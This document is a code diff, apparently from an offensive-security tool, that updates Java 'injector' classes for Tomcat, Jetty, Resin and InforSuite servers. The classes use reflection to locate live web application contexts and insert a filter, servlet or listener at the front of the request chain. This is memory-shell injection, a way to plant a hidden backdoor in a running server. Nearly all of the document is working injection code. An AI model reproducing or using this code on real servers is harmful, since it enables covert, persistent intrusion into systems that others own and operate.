import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
Object filterMap = filterMapClass.newInstance();
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
try {
|
try {
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||||
|
if (filterMaps instanceof List) {
|
||||||
|
// InforSuite9
|
||||||
|
((List<Object>) filterMaps).add(0, filterMap);
|
||||||
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
// InforSuite10
|
||||||
|
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
@@ -192,52 +203,54 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Field field = getField(obj, fieldName);
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
Class<?> clazz = obj.getClass();
|
Field field = getField(obj, fieldName);
|
||||||
while (clazz != null) {
|
field.setAccessible(true);
|
||||||
try {
|
field.set(obj, value);
|
||||||
Field field = clazz.getDeclaredField(fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field;
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(fieldName);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String[] classNames = new String[]{
|
String[][] filterHolderClassNames = new String[][]{
|
||||||
"org.eclipse.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||||
"org.mortbay.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||||
};
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
|
Class<?> filterMappingClass = null;
|
||||||
|
|
||||||
for (String className : classNames) {
|
for (String[] classNames : filterHolderClassNames) {
|
||||||
try {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||||
} catch (ClassNotFoundException ignored) {
|
} catch (ClassNotFoundException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (filterHolderClass == null) {
|
if (filterHolderClass == null || filterMappingClass == null) {
|
||||||
throw new ClassNotFoundException("FilterHodler");
|
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
|
||||||
moveFilterToFirst(servletHandler);
|
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
|
||||||
}
|
|
||||||
|
|
||||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
|
||||||
int filterLength;
|
|
||||||
|
|
||||||
if (filterMaps.getClass().isArray()) {
|
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||||
filterLength = Array.getLength(filterMaps);
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
for (int i = 0; i < filterLength; i++) {
|
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
Object filter = Array.get(filterMaps, i);
|
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
reorderedFilters.add(0, filter);
|
Object[] newMappings = null;
|
||||||
} else {
|
if (mappings == null || Array.getLength(mappings) == 0) {
|
||||||
reorderedFilters.add(filter);
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||||
}
|
} else {
|
||||||
}
|
int length = Array.getLength(mappings);
|
||||||
for (int i = 0; i < filterLength; i++) {
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||||
}
|
|
||||||
} else if (filterMaps instanceof ArrayList) {
|
|
||||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
|
||||||
for (Object filter : filterList) {
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
filterList.clear();
|
|
||||||
filterList.addAll(reorderedFilters);
|
|
||||||
}
|
}
|
||||||
|
newMappings[0] = filterMapping;
|
||||||
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.EventListener;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -29,7 +32,7 @@ public class JettyListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -42,7 +40,7 @@ public class JettyServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -6,7 +6,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,7 +42,7 @@ public class ResinFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -136,6 +139,11 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
|
||||||
|
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
||||||
|
filterMappings.remove(filterMappingImpl);
|
||||||
|
filterMappings.add(0, filterMappingImpl);
|
||||||
|
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -193,30 +201,25 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -38,7 +37,7 @@ public class ResinListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -182,30 +181,25 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +42,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -183,30 +185,25 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,22 +61,6 @@ public class TomcatFilterInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -117,6 +102,23 @@ public class TomcatFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
